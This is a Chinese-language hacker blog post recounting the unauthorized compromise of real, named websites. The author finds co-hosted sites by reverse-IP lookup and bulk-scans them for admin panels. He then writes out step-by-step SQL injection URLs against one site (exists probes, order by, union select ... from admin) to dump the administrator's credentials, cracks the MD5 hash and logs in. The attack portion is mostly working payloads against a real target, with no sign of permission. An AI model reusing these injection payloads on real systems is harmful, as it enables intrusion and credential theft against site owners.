asp+Access手工注入案例

今天在空间发了篇日志,问朋友们有没有什么需要我这个小菜检测一下的网站,日志发出后,有位朋友来留了一个网站的地址:

记一次有意义的asp手工注入

呵呵,当时听那朋友说的,他们好多人都不行,拿不下,我被吓到了,呵呵,想着别人那么多人都拿不下的站,我一个小菜鸟能拿下?

呵呵,不过还是抱着试试看的心情打开了这个网站,在主站转了转,用的是CMS,由于俺是小菜,对CMS不懂,于是找到后台,看可否直接登录,后台地址为:

http://www.jbzx.cn/admin/admin_index.asp

但是,打开之后发现页面跳转到了

http://www.jbzx.cn/User/Login.Asp

看来是直接cookie验证了,算了,这么复杂,直接放弃了从主站直接下手的想法,看看能不能旁注吧,于是,打开

http://www.rootkit.net.cn/index.aspx

查询一下,不查不知道,一查我就高兴了,哈哈:

记一次有意义的asp手工注入

这个服务器上放了200多个网站,这么多网站能全部做到安全么?显然,在国内来说,那是不可能的,所以,我的胜算增加了一分。

既然这么多网站,那就一个一个来吧,唉,像我这种菜鸟级的人物,只好干这种体力活了… …

在这里,我偷了懒,打开明小子,批量扫描后台,这是我的一点个人习惯,在办正事之前我习惯先找后台,嗯,虽然我是联通,而这服务器是电信,但速度还蛮快的,很快结果出来了,于是一个后台一个后台的试,结果不是过滤注入就是域名失效,弱口令更是一个没有,继续,继续,继续。

一直到这个网站:

http://www.better-cleaning.com

后台是:

http://www.better-cleaning.com/admin/Login.asp

先看有没有弱口令,发现没有,于是只好去前台转,打开前台后,是英文,全是英文,我原本打算找个转换按钮的,但是发现页面上没有,算了,没有就没有吧,将就着来吧。

随便点开一个链接:

http://www.better-cleaning.com/productshow.asp?id=711

加单引号,出错了:

记一次有意义的asp手工注入

我懒,懒得手工来,并且对于asp,我也实在没有手工来的兴趣,工具那么好用,何必不用工具呢?

于是,拉出我一直信任有加的啊D,把注入点放进去,开始检测:

记一次有意义的asp手工注入

结果啊D告诉我不能注入,咦?怎么会这样呢?

既然啊D不行,那就换明小子:

记一次有意义的asp手工注入

郁闷了,明小子也告诉我不能注入,那,难道是我的手工判断错误?还是这种注入类型工具无法检测?

我不甘心就这么放弃,于是,打开这个两个这么出名的工具都检测不出来的地址,开始手工注入,自然而然的,也就有了你正在看的这篇文章:

提交:

http://www.better-cleaning.com/productshow.asp?id=711 andexists (select * from admin)

页面回显正常:

记一次有意义的asp手工注入

说明存在admin表,再提交:

http://www.better-cleaning.com/productshow.asp?id=711 andexists (select username from admin)

页面回显正常,说明存在username字段,再提交:

http://www.better-cleaning.com/productshow.asp?id=711 andexists (select password from admin)

页面回显正常,说明存在password字段,现在表名和字段名全部猜完,该爆用户名和密码了,于是,先order by,提交:

http://www.better-cleaning.com/productshow.asp?id=711 orderby 5

页面回显错误,说明页面中的字段数不是5,依次反复提交,直到提交:

http://www.better-cleaning.com/productshow.asp?id=711 orderby 36

这时页面回显正常,说明字段数为36,于是,开始union select,提交:

http://www.better-cleaning.com/productshow.asp?id=711 and1=2 union select

1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36

页面回显错误,为什么会出错呢?

当时我的理解有2点,一,是需要用null替代了,二,是需要加from了,我懒,懒得写36个null,于是,先试试加from吧,提交:

http://www.better-cleaning.com/productshow.asp?id=711 and1=2 union select

1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36from admin

页面回显正常,成功出现显示位:

记一次有意义的asp手工注入

OK,既然显示位出来了,那就开始爆用户名和密码吧,提交:

http://www.better-cleaning.com/productshow.asp?id=711 and1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,username,23,24,25,26,password,28,29,30,31,32,33,34,35,36from admin

记一次有意义的asp手工注入

哦了,管理员的用户名和密码都爆出来了,把MD5复制下来,去解密:

记一次有意义的asp手工注入

OK,结果出来了,密码是better,打开后台,登录:

记一次有意义的asp手工注入

OK,登录成功。

下边的,俺这小菜鸟就不写拉,这篇文章只是探讨一下union select的时候是否要加from,以及在什么情况下要加from,我试了试这个站的数据库,发现好像不是MSSQL,应该是ACCESS的,而在php+Mysql的联合查询中,就不必在最后加上from,那么是否就是说,在ACCESS环境下,就必须要加上from呢?望明人指点,谢谢。

文章很戳,没什么技术含量,不要喷我不要喷我……

展开阅读全文

没有更多推荐了,返回首页